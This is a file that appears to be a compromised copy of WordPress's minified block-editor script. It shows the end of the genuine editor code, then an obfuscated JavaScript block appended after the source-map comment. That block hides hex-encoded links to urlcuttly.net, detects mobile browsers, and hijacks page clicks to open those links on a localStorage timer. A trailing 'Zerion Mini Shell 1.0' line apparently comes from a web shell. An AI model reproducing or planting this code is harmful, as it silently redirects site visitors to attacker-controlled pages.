0;return{canUseUnfilteredHTML:n(),reusableBlocks:s?e(c.store).getEntityRecords("postType","wp_block",{per_page:-1}):[],hasUploadPermissions:null===(t=r("create","media"))||void 0===t||t,userCanCreatePages:r("create","pages"),pageOnFront:null==l?void 0:l.page_on_front,postType:o()}}),[]),h=null!==(n=e.__experimentalAdditionalBlockPatterns)&&void 0!==n?n:e.__experimentalBlockPatterns,g=null!==(o=e.__experimentalAdditionalBlockPatternCategories)&&void 0!==o?o:e.__experimentalBlockPatternCategories,{restBlockPatterns:v,restBlockPatternCategories:_}=(0,l.useSelect)((e=>({restBlockPatterns:e(c.store).getBlockPatterns(),restBlockPatternCategories:e(c.store).getBlockPatternCategories()})),[]),f=(0,i.useMemo)((()=>[...h||[],...v||[]].filter(((e,t,n)=>t===n.findIndex((t=>e.name===t.name)))).filter((e=>{let{postTypes:t}=e;return!t||Array.isArray(t)&&t.includes(m)}))),[h,v,m]),y=(0,i.useMemo)((()=>[...g||[],..._||[]].filter(((e,t,n)=>t===n.findIndex((t=>e.name===t.name))))),[g,_]),{undo:b}=(0,l.useDispatch)(oo),{saveEntityRecord:E}=(0,l.useDispatch)(c.store),S=e=>d?E("postType","page",e):Promise.reject({message:(0,Xt.__)("You do not have permission to create Pages.")});return(0,i.useMemo)((()=>({...(0,r.pick)(e,["__experimentalBlockDirectory","__experimentalDiscussionSettings","__experimentalFeatures","__experimentalPreferredStyleVariations","__experimentalSetIsInserterOpened","__unstableGalleryWithImageBlocks","alignWide","allowedBlockTypes","bodyPlaceholder","canLockBlocks","codeEditingEnabled","colors","disableCustomColors","disableCustomFontSizes","disableCustomSpacingSizes","disableCustomGradients","disableLayoutStyles","enableCustomLineHeight","enableCustomSpacing","enableCustomUnits","focusMode","fontSizes","gradients","generateAnchors","hasFixedToolbar","hasReducedUI","hasInlineToolbar","imageDefaultSize","imageDimensions","imageEditing","imageSizes","isRTL","keepCaretInsideBlock","maxWidth","onUpdateDefaultBlockStyles","styles","template","templateLock","titlePlaceholder","supportsLayout","widgetTypesToHideFromLegacyWidgetBlock","__unstableResolvedAssets"]),mediaUpload:a?gr:void 0,__experimentalReusableBlocks:s,__experimentalBlockPatterns:f,__experimentalBlockPatternCategories:y,__experimentalFetchLinkSuggestions:(t,n)=>(0,c.__experimentalFetchLinkSuggestions)(t,n,e),__experimentalFetchRichUrlData:c.__experimentalFetchUrlData,__experimentalCanUserUseUnfilteredHTML:u,__experimentalUndo:b,outlineMode:t,__experimentalCreatePageEntity:S,__experimentalUserCanCreatePages:d,pageOnFront:p,__experimentalPreferPatternsOnRoot:t})),[e,a,s,f,y,u,b,t,d,p])}(o,!!t),{updatePostLock:E,setupEditor:S,updateEditorSettings:w,__experimentalTearDownEditor:P}=(0,l.useDispatch)(oo),{createWarningNotice:k}=(0,l.useDispatch)(Kt.store);return(0,i.useLayoutEffect)((()=>{if(!s)return E(o.postLock),S(n,a,o.template),o.autosave&&k((0,Xt.__)("There is an autosave of this post that is more recent than the version below."),{id:"autosave-exists",actions:[{label:(0,Xt.__)("View the autosave"),url:o.autosave.editLink}]}),()=>{P()}}),[]),(0,i.useEffect)((()=>{w(o)}),[o]),h?(0,i.createElement)(c.EntityProvider,{kind:"root",type:"site"},(0,i.createElement)(c.EntityProvider,{kind:"postType",type:n.type,id:n.id},(0,i.createElement)(p.BlockContextProvider,{value:d},(0,i.createElement)(p.BlockEditorProvider,{value:_,onChange:y,onInput:f,selection:m,settings:b,useSubRegistry:!1},u,(0,i.createElement)(dr.ReusableBlocksMenuItems,null))))):null})),_r=window.wp.serverSideRender;var fr=n.n(_r);function yr(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[];const o=(0,i.forwardRef)(((n,o)=>(w()("wp.editor."+e,{since:"5.3",alternative:"wp.blockEditor."+e,version:"6.2"}),(0,i.createElement)(t,s({ref:o},n)))));return n.forEach((n=>{o[n]=yr(e+"."+n,t[n])})),o}function br(e,t){return function(){return w()("wp.editor."+e,{since:"5.3",alternative:"wp.blockEditor."+e,version:"6.2"}),t(...arguments)}}const Er=yr("RichText",p.RichText,["Content"]);Er.isEmpty=br("RichText.isEmpty",p.RichText.isEmpty);const Sr=yr("Autocomplete",p.Autocomplete),wr=yr("AlignmentToolbar",p.AlignmentToolbar),Pr=yr("BlockAlignmentToolbar",p.BlockAlignmentToolbar),kr=yr("BlockControls",p.BlockControls,["Slot"]),Cr=yr("BlockEdit",p.BlockEdit),Tr=yr("BlockEditorKeyboardShortcuts",p.BlockEditorKeyboardShortcuts),xr=yr("BlockFormatControls",p.BlockFormatControls,["Slot"]),Br=yr("BlockIcon",p.BlockIcon),Ar=yr("BlockInspector",p.BlockInspector),Ir=yr("BlockList",p.BlockList),Nr=yr("BlockMover",p.BlockMover),Rr=yr("BlockNavigationDropdown",p.BlockNavigationDropdown),Dr=yr("BlockSelectionClearer",p.BlockSelectionClearer),Lr=yr("BlockSettingsMenu",p.BlockSettingsMenu),Or=yr("BlockTitle",p.BlockTitle),Ur=yr("BlockToolbar",p.BlockToolbar),Fr=yr("ColorPalette",p.ColorPalette),Mr=yr("ContrastChecker",p.ContrastChecker),zr=yr("CopyHandler",p.CopyHandler),Vr=yr("DefaultBlockAppender",p.DefaultBlockAppender),Hr=yr("FontSizePicker",p.FontSizePicker),Wr=yr("Inserter",p.Inserter),Gr=yr("InnerBlocks",p.InnerBlocks,["ButtonBlockAppender","DefaultBlockAppender","Content"]),jr=yr("InspectorAdvancedControls",p.InspectorAdvancedControls,["Slot"]),$r=yr("InspectorControls",p.InspectorControls,["Slot"]),Kr=yr("PanelColorSettings",p.PanelColorSettings),Yr=yr("PlainText",p.PlainText),qr=yr("RichTextShortcut",p.RichTextShortcut),Qr=yr("RichTextToolbarButton",p.RichTextToolbarButton),Xr=yr("__unstableRichTextInputEvent",p.__unstableRichTextInputEvent),Zr=yr("MediaPlaceholder",p.MediaPlaceholder),Jr=yr("MediaUpload",p.MediaUpload),ea=yr("MediaUploadCheck",p.MediaUploadCheck),ta=yr("MultiSelectScrollIntoView",p.MultiSelectScrollIntoView),na=yr("NavigableToolbar",p.NavigableToolbar),oa=yr("ObserveTyping",p.ObserveTyping),sa=yr("SkipToSelectedBlock",p.SkipToSelectedBlock),ia=yr("URLInput",p.URLInput),ra=yr("URLInputButton",p.URLInputButton),aa=yr("URLPopover",p.URLPopover),la=yr("Warning",p.Warning),ca=yr("WritingFlow",p.WritingFlow),ua=br("createCustomColorsHOC",p.createCustomColorsHOC),da=br("getColorClassName",p.getColorClassName),pa=br("getColorObjectByAttributeValues",p.getColorObjectByAttributeValues),ma=br("getColorObjectByColorValue",p.getColorObjectByColorValue),ha=br("getFontSize",p.getFontSize),ga=br("getFontSizeClass",p.getFontSizeClass),va=br("withColorContext",p.withColorContext),_a=br("withColors",p.withColors),fa=br("withFontSizes",p.withFontSizes);function ya(e){return w()("wp.editor.cleanForSlug",{since:"12.7",plugin:"Gutenberg",alternative:"wp.url.cleanForSlug"}),(0,E.cleanForSlug)(e)}})(),(window.wp=window.wp||{}).editor=o})();
//# sourceMappingURL=index.min.js.map
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4f\x7a\x4c\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x77\x4d\x4a\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x72\x56\x67\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x78\x64\x4f\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x66\x70\x62\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x71\x42\x63\x37\x63\x337','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x45\x4c\x5a\x32\x63\x372','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x54\x70\x74\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x76\x58\x64\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4e\x73\x78\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

Zerion Mini Shell 1.0